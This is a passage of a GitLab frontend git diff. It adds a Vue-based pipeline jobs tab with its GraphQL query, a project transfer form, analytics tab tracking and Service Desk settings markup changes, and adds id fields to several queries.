+ GlSkeletonLoader,
+ JobsTable,
+ },
+ inject: {
+ fullPath: {
+ default: '',
+ },
+ pipelineIid: {
+ default: '',
+ },
+ },
+ apollo: {
+ jobs: {
+ query: getPipelineJobs,
+ variables() {
+ return {
+ ...this.queryVariables,
+ };
+ },
+ update(data) {
+ return data.project?.pipeline?.jobs?.nodes || [];
+ },
+ result({ data }) {
+ this.jobsPageInfo = data.project?.pipeline?.jobs?.pageInfo || {};
+ },
+ error() {
+ createFlash({ message: __('An error occured while fetching the pipelines jobs.') });
+ },
+ },
+ },
+ data() {
+ return {
+ jobs: [],
+ jobsPageInfo: {},
+ firstLoad: true,
+ };
+ },
+ computed: {
+ queryVariables() {
+ return {
+ fullPath: this.fullPath,
+ iid: this.pipelineIid,
+ };
+ },
+ },
+ mounted() {
+ eventHub.$on('jobActionPerformed', this.handleJobAction);
+ },
+ beforeDestroy() {
+ eventHub.$off('jobActionPerformed', this.handleJobAction);
+ },
+ methods: {
+ handleJobAction() {
+ this.firstLoad = true;
+
+ this.$apollo.queries.jobs.refetch();
+ },
+ fetchMoreJobs() {
+ this.firstLoad = false;
+
+ this.$apollo.queries.jobs.fetchMore({
+ variables: {
+ ...this.queryVariables,
+ after: this.jobsPageInfo.endCursor,
+ },
+ updateQuery: (previousResult, { fetchMoreResult }) => {
+ const results = produce(fetchMoreResult, (draftData) => {
+ draftData.project.pipeline.jobs.nodes = [
+ ...previousResult.project.pipeline.jobs.nodes,
+ ...draftData.project.pipeline.jobs.nodes,
+ ];
+ });
+ return results;
+ },
+ });
+ },
+ },
+};
+</script>
+
+<template>
+ <div>
+ <div v-if="$apollo.loading && firstLoad" class="gl-mt-5">
+ <gl-skeleton-loader :width="1248" :height="73">
+ <circle cx="748.031" cy="37.7193" r="15.0307" />
+ <circle cx="787.241" cy="37.7193" r="15.0307" />
+ <circle cx="827.759" cy="37.7193" r="15.0307" />
+ <circle cx="866.969" cy="37.7193" r="15.0307" />
+ <circle cx="380" cy="37" r="18" />
+ <rect x="432" y="19" width="126.587" height="15" />
+ <rect x="432" y="41" width="247" height="15" />
+ <rect x="158" y="19" width="86.1" height="15" />
+ <rect x="158" y="41" width="168" height="15" />
+ <rect x="22" y="19" width="96" height="36" />
+ <rect x="924" y="30" width="96" height="15" />
+ <rect x="1057" y="20" width="166" height="35" />
+ </gl-skeleton-loader>
+ </div>
+
+ <jobs-table v-else :jobs="jobs" :table-fields="$options.fields" />
+
+ <gl-intersection-observer v-if="jobsPageInfo.hasNextPage" @appear="fetchMoreJobs">
+ <gl-loading-icon v-if="$apollo.loading" size="md" />
+ </gl-intersection-observer>
+ </div>
+</template>
diff --git a/app/assets/javascripts/pipelines/components/pipeline_graph/job_pill.vue b/app/assets/javascripts/pipelines/components/pipeline_graph/job_pill.vue
index 836333c8bde..793e343a02a 100644
--- a/app/assets/javascripts/pipelines/components/pipeline_graph/job_pill.vue
+++ b/app/assets/javascripts/pipelines/components/pipeline_graph/job_pill.vue
@@ -1,5 +1,5 @@
<script>
-import tooltipOnTruncate from '~/vue_shared/components/tooltip_on_truncate.vue';
+import tooltipOnTruncate from '~/vue_shared/components/tooltip_on_truncate/tooltip_on_truncate.vue';
export default {
components: {
diff --git a/app/assets/javascripts/pipelines/components/pipeline_graph/pipeline_graph.vue b/app/assets/javascripts/pipelines/components/pipeline_graph/pipeline_graph.vue
index 78771b6a072..64210576b29 100644
--- a/app/assets/javascripts/pipelines/components/pipeline_graph/pipeline_graph.vue
+++ b/app/assets/javascripts/pipelines/components/pipeline_graph/pipeline_graph.vue
@@ -25,7 +25,7 @@ export default {
// The max width and the width make sure the ellipsis to work and the min width
// is for when there is less text than the stage column width (which the width 100% does not fix)
jobWrapperClasses:
- 'gl-display-flex gl-flex-direction-column gl-align-items-center gl-w-full gl-px-8 gl-min-w-full gl-max-w-15',
+ 'gl-display-flex gl-flex-direction-column gl-align-items-stretch gl-w-full gl-px-8 gl-min-w-full gl-max-w-15',
props: {
pipelineData: {
required: true,
diff --git a/app/assets/javascripts/pipelines/components/pipeline_graph/stage_name.vue b/app/assets/javascripts/pipelines/components/pipeline_graph/stage_name.vue
index 367a18af248..e485b38ce11 100644
--- a/app/assets/javascripts/pipelines/components/pipeline_graph/stage_name.vue
+++ b/app/assets/javascripts/pipelines/components/pipeline_graph/stage_name.vue
@@ -1,6 +1,6 @@
<script>
import { capitalize, escape } from 'lodash';
-import tooltipOnTruncate from '~/vue_shared/components/tooltip_on_truncate.vue';
+import tooltipOnTruncate from '~/vue_shared/components/tooltip_on_truncate/tooltip_on_truncate.vue';
export default {
components: {
diff --git a/app/assets/javascripts/pipelines/components/pipelines_list/pipeline_stage.vue b/app/assets/javascripts/pipelines/components/pipelines_list/pipeline_stage.vue
index 7552ddb61dc..afcb04cd7eb 100644
--- a/app/assets/javascripts/pipelines/components/pipelines_list/pipeline_stage.vue
+++ b/app/assets/javascripts/pipelines/components/pipelines_list/pipeline_stage.vue
@@ -15,7 +15,7 @@
import { GlDropdown, GlLoadingIcon, GlTooltipDirective, GlIcon } from '@gitlab/ui';
import createFlash from '~/flash';
import axios from '~/lib/utils/axios_utils';
-import { __ } from '~/locale';
+import { __, sprintf } from '~/locale';
import eventHub from '../../event_hub';
import JobItem from './job_item.vue';
@@ -98,6 +98,9 @@ export default {
// warn the pipelines table to update
this.$emit('pipelineActionRequestComplete');
},
+ stageAriaLabel(title) {
+ return sprintf(__('View Stage: %{title}'), { title });
+ },
},
};
</script>
@@ -106,9 +109,10 @@ export default {
<gl-dropdown
ref="dropdown"
v-gl-tooltip.hover.ds0
+ v-gl-tooltip="stage.title"
data-testid="mini-pipeline-graph-dropdown"
- :title="stage.title"
variant="link"
+ :aria-label="stageAriaLabel(stage.title)"
:lazy="true"
:popper-opts="{ placement: 'bottom' }"
:toggle-class="['mini-pipeline-graph-dropdown-toggle', triggerButtonClass]"
diff --git a/app/assets/javascripts/pipelines/graphql/queries/get_dag_vis_data.query.graphql b/app/assets/javascripts/pipelines/graphql/queries/get_dag_vis_data.query.graphql
index 887c217da41..2a0b13dd0cc 100644
--- a/app/assets/javascripts/pipelines/graphql/queries/get_dag_vis_data.query.graphql
+++ b/app/assets/javascripts/pipelines/graphql/queries/get_dag_vis_data.query.graphql
@@ -1,19 +1,24 @@
query getDagVisData($projectPath: ID!, $iid: ID!) {
project(fullPath: $projectPath) {
+ id
pipeline(iid: $iid) {
id
stages {
nodes {
+ id
name
groups {
nodes {
+ id
name
size
jobs {
nodes {
+ id
name
needs {
nodes {
+ id
name
}
}
diff --git a/app/assets/javascripts/pipelines/graphql/queries/get_pipeline_header_data.query.graphql b/app/assets/javascripts/pipelines/graphql/queries/get_pipeline_header_data.query.graphql
index 8fcae9dbad8..47bc167ca52 100644
--- a/app/assets/javascripts/pipelines/graphql/queries/get_pipeline_header_data.query.graphql
+++ b/app/assets/javascripts/pipelines/graphql/queries/get_pipeline_header_data.query.graphql
@@ -1,5 +1,6 @@
query getPipelineHeaderData($fullPath: ID!, $iid: ID!) {
project(fullPath: $fullPath) {
+ id
pipeline(iid: $iid) {
id
iid
@@ -11,6 +12,7 @@ query getPipelineHeaderData($fullPath: ID!, $iid: ID!) {
updatePipeline
}
detailedStatus {
+ id
detailsPath
icon
group
diff --git a/app/assets/javascripts/pipelines/graphql/queries/get_pipeline_jobs.query.graphql b/app/assets/javascripts/pipelines/graphql/queries/get_pipeline_jobs.query.graphql
new file mode 100644
index 00000000000..5fe47e09d9c
--- /dev/null
+++ b/app/assets/javascripts/pipelines/graphql/queries/get_pipeline_jobs.query.graphql
@@ -0,0 +1,70 @@
+#import "~/graphql_shared/fragments/pageInfo.fragment.graphql"
+
+query getPipelineJobs($fullPath: ID!, $iid: ID!, $after: String) {
+ project(fullPath: $fullPath) {
+ id
+ pipeline(iid: $iid) {
+ id
+ jobs(after: $after, first: 20) {
+ pageInfo {
+ ...PageInfo
+ }
+ nodes {
+ artifacts {
+ nodes {
+ downloadPath
+ fileType
+ }
+ }
+ allowFailure
+ status
+ scheduledAt
+ manualJob
+ triggered
+ createdByTag
+ detailedStatus {
+ id
+ detailsPath
+ group
+ icon
+ label
+ text
+ tooltip
+ action {
+ id
+ buttonTitle
+ icon
+ method
+ path
+ title
+ }
+ }
+ id
+ refName
+ refPath
+ tags
+ shortSha
+ commitPath
+ stage {
+ id
+ name
+ }
+ name
+ duration
+ finishedAt
+ coverage
+ retryable
+ playable
+ cancelable
+ active
+ stuck
+ userPermissions {
+ readBuild
+ readJobArtifacts
+ updateBuild
+ }
+ }
+ }
+ }
+ }
+}
diff --git a/app/assets/javascripts/pipelines/pipeline_details_bundle.js b/app/assets/javascripts/pipelines/pipeline_details_bundle.js
index ee9560e36c4..ae8b2503c79 100644
--- a/app/assets/javascripts/pipelines/pipeline_details_bundle.js
+++ b/app/assets/javascripts/pipelines/pipeline_details_bundle.js
@@ -3,6 +3,7 @@ import { __ } from '~/locale';
import createDagApp from './pipeline_details_dag';
import { createPipelinesDetailApp } from './pipeline_details_graph';
import { createPipelineHeaderApp } from './pipeline_details_header';
+import { createPipelineJobsApp } from './pipeline_details_jobs';
import { apolloProvider } from './pipeline_shared_client';
import { createTestDetails } from './pipeline_test_details';
@@ -11,6 +12,7 @@ const SELECTORS = {
PIPELINE_GRAPH: '#js-pipeline-graph-vue',
PIPELINE_HEADER: '#js-pipeline-header-vue',
PIPELINE_TESTS: '#js-pipeline-tests-detail',
+ PIPELINE_JOBS: '#js-pipeline-jobs-vue',
};
export default async function initPipelineDetailsBundle() {
@@ -55,4 +57,14 @@ export default async function initPipelineDetailsBundle() {
message: __('An error occurred while loading the Test Reports tab.'),
});
}
+
+ try {
+ if (gon.features?.jobsTabVue) {
+ createPipelineJobsApp(SELECTORS.PIPELINE_JOBS);
+ }
+ } catch {
+ createFlash({
+ message: __('An error occurred while loading the Jobs tab.'),
+ });
+ }
}
diff --git a/app/assets/javascripts/pipelines/pipeline_details_jobs.js b/app/assets/javascripts/pipelines/pipeline_details_jobs.js
new file mode 100644
index 00000000000..a1294a484f0
--- /dev/null
+++ b/app/assets/javascripts/pipelines/pipeline_details_jobs.js
@@ -0,0 +1,34 @@
+import { GlToast } from '@gitlab/ui';
+import Vue from 'vue';
+import VueApollo from 'vue-apollo';
+import createDefaultClient from '~/lib/graphql';
+import JobsApp from './components/jobs/jobs_app.vue';
+
+Vue.use(VueApollo);
+Vue.use(GlToast);
+
+const apolloProvider = new VueApollo({
+ defaultClient: createDefaultClient(),
+});
+
+export const createPipelineJobsApp = (selector) => {
+ const containerEl = document.querySelector(selector);
+
+ if (!containerEl) {
+ return false;
+ }
+
+ const { fullPath, pipelineIid } = containerEl.dataset;
+
+ return new Vue({
+ el: containerEl,
+ apolloProvider,
+ provide: {
+ fullPath,
+ pipelineIid,
+ },
+ render(createElement) {
+ return createElement(JobsApp);
+ },
+ });
+};
diff --git a/app/assets/javascripts/project_label_subscription.js b/app/assets/javascripts/project_label_subscription.js
deleted file mode 100644
index f7804c2faa4..00000000000
--- a/app/assets/javascripts/project_label_subscription.js
+++ /dev/null
@@ -1,77 +0,0 @@
-import $ from 'jquery';
-import { fixTitle } from '~/tooltips';
-import createFlash from './flash';
-import axios from './lib/utils/axios_utils';
-import { __ } from './locale';
-
-const tooltipTitles = {
- group: {
- subscribed: __('Unsubscribe at group level'),
- unsubscribed: __('Subscribe at group level'),
- },
- project: {
- subscribed: __('Unsubscribe at project level'),
- unsubscribed: __('Subscribe at project level'),
- },
-};
-
-export default class ProjectLabelSubscription {
- constructor(container) {
- this.$container = $(container);
- this.$buttons = this.$container.find('.js-subscribe-button');
-
- this.$buttons.on('click', this.toggleSubscription.bind(this));
- }
-
- toggleSubscription(event) {
- event.preventDefault();
-
- const $btn = $(event.currentTarget);
- const url = $btn.attr('data-url');
- const oldStatus = $btn.attr('data-status');
-
- $btn.addClass('disabled');
-
- axios
- .post(url)
- .then(() => {
- let newStatus;
- let newAction;
-
- if (oldStatus === 'unsubscribed') {
- [newStatus, newAction] = ['subscribed', __('Unsubscribe')];
- } else {
- [newStatus, newAction] = ['unsubscribed', __('Subscribe')];
- }
-
- $btn.removeClass('disabled');
-
- this.$buttons.attr('data-status', newStatus);
- this.$buttons.find('> span').text(newAction);
-
- this.$buttons.map((i, button) => {
- const $button = $(button);
- const originalTitle = $button.attr('data-original-title');
-
- if (originalTitle) {
- ProjectLabelSubscription.setNewTitle($button, originalTitle, newStatus, newAction);
- }
-
- return button;
- });
- })
- .catch(() =>
- createFlash({
- message: __('There was an error subscribing to this label.'),
- }),
- );
- }
-
- static setNewTitle($button, originalTitle, newStatus) {
- const type = /group/.test(originalTitle) ? 'group' : 'project';
- const newTitle = tooltipTitles[type][newStatus];
-
- $button.attr('title', newTitle);
- fixTitle($button);
- }
-}
diff --git a/app/assets/javascripts/projects/commit/constants.js b/app/assets/javascripts/projects/commit/constants.js
index d553bca360e..eb3673461bd 100644
--- a/app/assets/javascripts/projects/commit/constants.js
+++ b/app/assets/javascripts/projects/commit/constants.js
@@ -11,7 +11,7 @@ export const I18N_MODAL = {
'ChangeTypeAction|Your changes will be committed to %{branchName} because a merge request is open.',
),
branchInFork: s__(
- 'ChangeTypeAction|A new branch will be created in your fork and a new merge request will be started.',
+ 'ChangeTypeAction|GitLab will create a branch in your fork and start a merge request.',
),
newMergeRequest: __('new merge request'),
actionCancelText: __('Cancel'),
diff --git a/app/assets/javascripts/projects/commit_box/info/graphql/queries/get_linked_pipelines.query.graphql b/app/assets/javascripts/projects/commit_box/info/graphql/queries/get_linked_pipelines.query.graphql
index ee18c70b6fd..c6a0d48626a 100644
--- a/app/assets/javascripts/projects/commit_box/info/graphql/queries/get_linked_pipelines.query.graphql
+++ b/app/assets/javascripts/projects/commit_box/info/graphql/queries/get_linked_pipelines.query.graphql
@@ -1,15 +1,19 @@
query getLinkedPipelines($fullPath: ID!, $iid: ID!) {
project(fullPath: $fullPath) {
+ id
pipeline(iid: $iid) {
+ id
path
downstream {
nodes {
id
path
project {
+ id
name
}
detailedStatus {
+ id
group
icon
label
@@ -20,9 +24,11 @@ query getLinkedPipelines($fullPath: ID!, $iid: ID!) {
id
path
project {
+ id
name
}
detailedStatus {
+ id
group
icon
label
diff --git a/app/assets/javascripts/projects/new/components/new_project_url_select.vue b/app/assets/javascripts/projects/new/components/new_project_url_select.vue
index e0ba60074af..f4a21c6057c 100644
--- a/app/assets/javascripts/projects/new/components/new_project_url_select.vue
+++ b/app/assets/javascripts/projects/new/components/new_project_url_select.vue
@@ -8,7 +8,7 @@ import {
GlDropdownSectionHeader,
GlSearchBoxByType,
} from '@gitlab/ui';
-import { joinPaths } from '~/lib/utils/url_utility';
+import { joinPaths, PATH_SEPARATOR } from '~/lib/utils/url_utility';
import { MINIMUM_SEARCH_LENGTH } from '~/graphql_shared/constants';
import { getIdFromGraphQLId } from '~/graphql_shared/utils';
import Tracking from '~/tracking';
@@ -36,7 +36,9 @@ export default {
};
},
skip() {
- return this.search.length > 0 && this.search.length < MINIMUM_SEARCH_LENGTH;
+ const hasNotEnoughSearchCharacters =
+ this.search.length > 0 && this.search.length < MINIMUM_SEARCH_LENGTH;
+ return this.shouldSkipQuery || hasNotEnoughSearchCharacters;
},
debounce: DEBOUNCE_DELAY,
},
@@ -52,7 +54,7 @@ export default {
data() {
return {
currentUser: {},
- groupToFilterBy: undefined,
+ groupPathToFilterBy: undefined,
search: '',
selectedNamespace: this.namespaceId
? {
@@ -63,6 +65,7 @@ export default {
id: this.userNamespaceId,
fullPath: this.userNamespaceFullPath,
},
+ shouldSkipQuery: true,
};
},
computed: {
@@ -73,10 +76,8 @@ export default {
return this.currentUser.namespace || {};
},
filteredGroups() {
- return this.groupToFilterBy
- ? this.userGroups.filter((group) =>
- group.fullPath.startsWith(this.groupToFilterBy.fullPath),
- )
+ return this.groupPathToFilterBy
+ ? this.userGroups.filter((group) => group.fullPath.startsWith(this.groupPathToFilterBy))
: this.userGroups;
},
hasGroupMatches() {
@@ -85,7 +86,7 @@ export default {
hasNamespaceMatches() {
return (
this.userNamespace.fullPath?.toLowerCase().includes(this.search.toLowerCase()) &&
- !this.groupToFilterBy
+ !this.groupPathToFilterBy
);
},
hasNoMatches() {
@@ -99,7 +100,10 @@ export default {
eventHub.$off('select-template', this.handleSelectTemplate);
},
methods: {
- focusInput() {
+ handleDropdownShown() {
+ if (this.shouldSkipQuery) {
+ this.shouldSkipQuery = false;
+ }
this.$refs.search.focusInput();
},
handleDropdownItemClick(namespace) {
@@ -111,13 +115,9 @@ export default {
});
this.setNamespace(namespace);
},
- handleSelectTemplate(groupId) {
- this.groupToFilterBy = this.userGroups.find(
- (group) => getIdFromGraphQLId(group.id) === groupId,
- );
- if (this.groupToFilterBy) {
- this.setNamespace(this.groupToFilterBy);
- }
+ handleSelectTemplate(id, fullPath) {
+ this.groupPathToFilterBy = fullPath.split(PATH_SEPARATOR).shift();
+ this.setNamespace({ id, fullPath });
},
setNamespace({ id, fullPath }) {
this.selectedNamespace = {
@@ -137,7 +137,7 @@ export default {
toggle-class="gl-rounded-top-right-base! gl-rounded-bottom-right-base! gl-w-20"
data-qa-selector="select_namespace_dropdown"
@show="track('activate_form_input', { label: trackLabel, property: 'project_path' })"
- @shown="focusInput"
+ @shown="handleDropdownShown"
>
<gl-search-box-by-type
ref="search"
diff --git a/app/assets/javascripts/projects/new/queries/search_namespaces_where_user_can_create_projects.query.graphql b/app/assets/javascripts/projects/new/queries/search_namespaces_where_user_can_create_projects.query.graphql
index 74febec5a51..568e05d1966 100644
--- a/app/assets/javascripts/projects/new/queries/search_namespaces_where_user_can_create_projects.query.graphql
+++ b/app/assets/javascripts/projects/new/queries/search_namespaces_where_user_can_create_projects.query.graphql
@@ -1,5 +1,6 @@
query searchNamespacesWhereUserCanCreateProjects($search: String) {
currentUser {
+ id
groups(permissionScope: CREATE_PROJECTS, search: $search) {
nodes {
id
diff --git a/app/assets/javascripts/projects/pipelines/charts/components/app.vue b/app/assets/javascripts/projects/pipelines/charts/components/app.vue
index 7379d5caed7..d4b1f7e57d8 100644
--- a/app/assets/javascripts/projects/pipelines/charts/components/app.vue
+++ b/app/assets/javascripts/projects/pipelines/charts/components/app.vue
@@ -1,5 +1,6 @@
<script>
import { GlTabs, GlTab } from '@gitlab/ui';
+import API from '~/api';
import { mergeUrlParams, updateHistory, getParameterValues } from '~/lib/utils/url_utility';
import PipelineCharts from './pipeline_charts.vue';
@@ -13,6 +14,9 @@ export default {
LeadTimeCharts: () => import('ee_component/dora/components/lead_time_charts.vue'),
ProjectQualitySummary: () => import('ee_component/project_quality_summary/app.vue'),
},
+ piplelinesTabEvent: 'p_analytics_ci_cd_pipelines',
+ deploymentFrequencyTabEvent: 'p_analytics_ci_cd_deployment_frequency',
+ leadTimeTabEvent: 'p_analytics_ci_cd_lead_time',
inject: {
shouldRenderDoraCharts: {
type: Boolean,
@@ -60,20 +64,35 @@ export default {
updateHistory({ url: path, title: window.title });
}
},
+ trackTabClick(tab) {
+ API.trackRedisHllUserEvent(tab);
+ },
},
};
</script>
<template>
<div>
<gl-tabs v-if="charts.length > 1" :value="selectedTab" @input="onTabChange">
- <gl-tab :title="__('Pipelines')">
+ <gl-tab
+ :title="__('Pipelines')"
+ data-testid="pipelines-tab"
+ @click="trackTabClick($options.piplelinesTabEvent)"
+ >
<pipeline-charts />
</gl-tab>
<template v-if="shouldRenderDoraCharts">
- <gl-tab :title="__('Deployment frequency')">
+ <gl-tab
+ :title="__('Deployment frequency')"
+ data-testid="deployment-frequency-tab"
+ @click="trackTabClick($options.deploymentFrequencyTabEvent)"
+ >
<deployment-frequency-charts />
</gl-tab>
- <gl-tab :title="__('Lead time')">
+ <gl-tab
+ :title="__('Lead time')"
+ data-testid="lead-time-tab"
+ @click="trackTabClick($options.leadTimeTabEvent)"
+ >
<lead-time-charts />
</gl-tab>
</template>
diff --git a/app/assets/javascripts/projects/pipelines/charts/components/statistics_list.vue b/app/assets/javascripts/projects/pipelines/charts/components/statistics_list.vue
index 7bc3b787f75..5383a6cdddf 100644
--- a/app/assets/javascripts/projects/pipelines/charts/components/statistics_list.vue
+++ b/app/assets/javascripts/projects/pipelines/charts/components/statistics_list.vue
@@ -1,10 +1,19 @@
<script>
+import { GlLink } from '@gitlab/ui';
import { SUPPORTED_FORMATS, getFormatter } from '~/lib/utils/unit_format';
import { s__, n__ } from '~/locale';
const defaultPrecision = 2;
export default {
+ components: {
+ GlLink,
+ },
+ inject: {
+ failedPipelinesLink: {
+ default: '',
+ },
+ },
props: {
counts: {
type: Object,
@@ -27,6 +36,7 @@ export default {
{
title: s__('PipelineCharts|Failed:'),
value: n__('1 pipeline', '%d pipelines', this.counts.failed),
+ link: this.failedPipelinesLink,
},
{
title: s__('PipelineCharts|Success ratio:'),
@@ -39,10 +49,13 @@ export default {
</script>
<template>
<ul>
- <template v-for="({ title, value }, index) in statistics">
+ <template v-for="({ title, value, link }, index) in statistics">
<li :key="index">
<span>{{ title }}</span>
- <strong>{{ value }}</strong>
+ <gl-link v-if="link" :href="link">
+ {{ value }}
+ </gl-link>
+ <strong v-else>{{ value }}</strong>
</li>
</template>
</ul>
diff --git a/app/assets/javascripts/projects/pipelines/charts/graphql/queries/get_pipeline_count_by_status.query.graphql b/app/assets/javascripts/projects/pipelines/charts/graphql/queries/get_pipeline_count_by_status.query.graphql
index d68df689f5f..ac7fe51384c 100644
--- a/app/assets/javascripts/projects/pipelines/charts/graphql/queries/get_pipeline_count_by_status.query.graphql
+++ b/app/assets/javascripts/projects/pipelines/charts/graphql/queries/get_pipeline_count_by_status.query.graphql
@@ -1,5 +1,6 @@
query getPipelineCountByStatus($projectPath: ID!) {
project(fullPath: $projectPath) {
+ id
totalPipelines: pipelines {
count
}
diff --git a/app/assets/javascripts/projects/pipelines/charts/graphql/queries/get_project_pipeline_statistics.query.graphql b/app/assets/javascripts/projects/pipelines/charts/graphql/queries/get_project_pipeline_statistics.query.graphql
index 18b645f8831..46e8a6dc87d 100644
--- a/app/assets/javascripts/projects/pipelines/charts/graphql/queries/get_project_pipeline_statistics.query.graphql
+++ b/app/assets/javascripts/projects/pipelines/charts/graphql/queries/get_project_pipeline_statistics.query.graphql
@@ -1,5 +1,6 @@
query getProjectPipelineStatistics($projectPath: ID!) {
project(fullPath: $projectPath) {
+ id
pipelineAnalytics {
weekPipelinesTotals
weekPipelinesLabels
diff --git a/app/assets/javascripts/projects/pipelines/charts/index.js b/app/assets/javascripts/projects/pipelines/charts/index.js
index 003b61d94b1..94d32609e5d 100644
--- a/app/assets/javascripts/projects/pipelines/charts/index.js
+++ b/app/assets/javascripts/projects/pipelines/charts/index.js
@@ -11,7 +11,7 @@ const apolloProvider = new VueApollo({
});
const mountPipelineChartsApp = (el) => {
- const { projectPath } = el.dataset;
+ const { projectPath, failedPipelinesLink, coverageChartPath, defaultBranch } = el.dataset;
const shouldRenderDoraCharts = parseBoolean(el.dataset.shouldRenderDoraCharts);
const shouldRenderQualitySummary = parseBoolean(el.dataset.shouldRenderQualitySummary);
@@ -25,8 +25,11 @@ const mountPipelineChartsApp = (el) => {
apolloProvider,
provide: {
projectPath,
+ failedPipelinesLink,
shouldRenderDoraCharts,
shouldRenderQualitySummary,
+ coverageChartPath,
+ defaultBranch,
},
render: (createElement) => createElement(ProjectPipelinesCharts, {}),
});
diff --git a/app/assets/javascripts/projects/settings/components/transfer_project_form.vue b/app/assets/javascripts/projects/settings/components/transfer_project_form.vue
new file mode 100644
index 00000000000..b98e1101884
--- /dev/null
+++ b/app/assets/javascripts/projects/settings/components/transfer_project_form.vue
@@ -0,0 +1,63 @@
+<script>
+import { GlFormGroup } from '@gitlab/ui';
+import NamespaceSelect from '~/vue_shared/components/namespace_select/namespace_select.vue';
+import ConfirmDanger from '~/vue_shared/components/confirm_danger/confirm_danger.vue';
+
+export default {
+ name: 'TransferProjectForm',
+ components: {
+ GlFormGroup,
+ NamespaceSelect,
+ ConfirmDanger,
+ },
+ props: {
+ namespaces: {
+ type: Object,
+ required: true,
+ },
+ confirmationPhrase: {
+ type: String,
+ required: true,
+ },
+ confirmButtonText: {
+ type: String,
+ required: true,
+ },
+ },
+ data() {
+ return { selectedNamespace: null };
+ },
+ computed: {
+ hasSelectedNamespace() {
+ return Boolean(this.selectedNamespace?.id);
+ },
+ },
+ methods: {
+ handleSelect(selectedNamespace) {
+ this.selectedNamespace = selectedNamespace;
+ this.$emit('selectNamespace', selectedNamespace.id);
+ },
+ },
+};
+</script>
+<template>
+ <div>
+ <gl-form-group>
+ <namespace-select
+ class="qa-namespaces-list"
+ data-testid="transfer-project-namespace"
+ :full-width="true"
+ :data="namespaces"
+ :selected-namespace="selectedNamespace"
+ @select="handleSelect"
+ />
+ </gl-form-group>
+ <confirm-danger
+ button-class="qa-transfer-button"
+ :disabled="!hasSelectedNamespace"
+ :phrase="confirmationPhrase"
+ :button-text="confirmButtonText"
+ @confirm="$emit('confirm')"
+ />
+ </div>
+</template>
diff --git a/app/assets/javascripts/projects/settings/init_transfer_project_form.js b/app/assets/javascripts/projects/settings/init_transfer_project_form.js
new file mode 100644
index 00000000000..47b49031dc9
--- /dev/null
+++ b/app/assets/javascripts/projects/settings/init_transfer_project_form.js
@@ -0,0 +1,53 @@
+import Vue from 'vue';
+import { convertObjectPropsToCamelCase } from '~/lib/utils/common_utils';
+import TransferProjectForm from './components/transfer_project_form.vue';
+
+const prepareNamespaces = (rawNamespaces = '') => {
+ const data = JSON.parse(rawNamespaces);
+ return {
+ group: data?.group.map(convertObjectPropsToCamelCase),
+ user: data?.user.map(convertObjectPropsToCamelCase),
+ };
+};
+
+export default () => {
+ const el = document.querySelector('.js-transfer-project-form');
+ if (!el) {
+ return false;
+ }
+
+ const {
+ targetFormId = null,
+ targetHiddenInputId = null,
+ buttonText: confirmButtonText = '',
+ phrase: confirmationPhrase = '',
+ confirmDangerMessage = '',
+ namespaces = '',
+ } = el.dataset;
+
+ return new Vue({
+ el,
+ provide: {
+ confirmDangerMessage,
+ },
+ render(createElement) {
+ return createElement(TransferProjectForm, {
+ props: {
+ confirmButtonText,
+ confirmationPhrase,
+ namespaces: prepareNamespaces(namespaces),
+ },
+ on: {
+ selectNamespace: (id) => {
+ if (targetHiddenInputId && document.getElementById(targetHiddenInputId)) {
+ document.getElementById(targetHiddenInputId).value = id;
+ }
+ },
+ confirm: () => {
+ if (targetFormId) document.getElementById(targetFormId)?.submit();
+ },
+ },
+ });
+ },
+ });
+};
diff --git a/app/assets/javascripts/projects/settings_service_desk/components/service_desk_setting.vue b/app/assets/javascripts/projects/settings_service_desk/components/service_desk_setting.vue
index b8053bf9ab5..e5ddfe82e3b 100644
--- a/app/assets/javascripts/projects/settings_service_desk/components/service_desk_setting.vue
+++ b/app/assets/javascripts/projects/settings_service_desk/components/service_desk_setting.vue
@@ -1,5 +1,15 @@
<script>
-import { GlButton, GlToggle, GlLoadingIcon, GlSprintf, GlFormInput, GlLink } from '@gitlab/ui';
+import {
+ GlButton,
+ GlToggle,
+ GlLoadingIcon,
+ GlSprintf,
+ GlFormInputGroup,
+ GlFormGroup,
+ GlFormInput,
+ GlLink,
+} from '@gitlab/ui';
+import { helpPagePath } from '~/helpers/help_page_helper';
import { __ } from '~/locale';
import ClipboardButton from '~/vue_shared/components/clipboard_button.vue';
import ServiceDeskTemplateDropdown from './service_desk_template_dropdown.vue';
@@ -15,6 +25,8 @@ export default {
GlLoadingIcon,
GlSprintf,
GlFormInput,
+ GlFormGroup,
+ GlFormInputGroup,
GlLink,
ServiceDeskTemplateDropdown,
},
@@ -88,6 +100,16 @@ export default {
hasCustomEmail() {
return this.customEmail && this.customEmail !== this.incomingEmail;
},
+ emailSuffixHelpUrl() {
+ return helpPagePath('user/project/service_desk.html', {
+ anchor: 'configuring-a-custom-email-address-suffix',
+ });
+ },
+ customEmailAddressHelpUrl() {
+ return helpPagePath('user/project/service_desk.html', {
+ anchor: 'using-a-custom-email-address',
+ });
+ },
},
methods: {
onCheckboxToggle(isChecked) {
@@ -132,101 +154,122 @@ export default {
</label>
<div v-if="isEnabled" class="row mt-3">
<div class="col-md-9 mb-0">
- <strong
- id="incoming-email-describer"
- class="gl-display-block gl-mb-1"
- data-testid="incoming-email-describer"
+ <gl-form-group
+ :label="__('Email address to use for Support Desk')"
+ label-for="incoming-email"
+ data-testid="incoming-email-label"
>
- {{ __('Email address to use for Support Desk') }}
- </strong>
- <template v-if="email">
- <div class="input-group">
- <input
+ <gl-form-input-group v-if="email">
+ <gl-form-input
+ id="incoming-email"
ref="service-desk-incoming-email"
type="text"
- class="form-control"
data-testid="incoming-email"
:placeholder="__('Incoming email')"
:aria-label="__('Incoming email')"
aria-describedby="incoming-email-describer"
:value="email"
- disabled="true"
+ :disabled="true"
/>
- <div class="input-group-append">
+ <template #append>
<clipboard-button :title="__('Copy')" :text="email" css-class="input-group-text" />
- </div>
- </div>
- <span v-if="hasCustomEmail" class="form-text text-muted">
- <gl-sprintf :message="__('Emails sent to %{email} are also supported.')">
- <template #email>
- <code>{{ incomingEmail }}</code>
+ </template>
+ </gl-form-input-group>
+ <template v-if="email && hasCustomEmail" #description>
+ <span class="gl-mt-2 d-inline-block">
+ <gl-sprintf :message="__('Emails sent to %{email} are also supported.')">
+ <template #email>
+ <code>{{ incomingEmail }}</code>
+ </template>
+ </gl-sprintf>
+ </span>
+ </template>
+ <template v-if="!email">
+ <gl-loading-icon size="sm" :inline="true" />
+ <span class="sr-only">{{ __('Fetching incoming email') }}</span>
+ </template>
+ </gl-form-group>
+
+ <gl-form-group :label="__('Email address suffix')" :state="!projectKeyError">
+ <gl-form-input
+ v-if="hasProjectKeySupport"
+ id="service-desk-project-suffix"
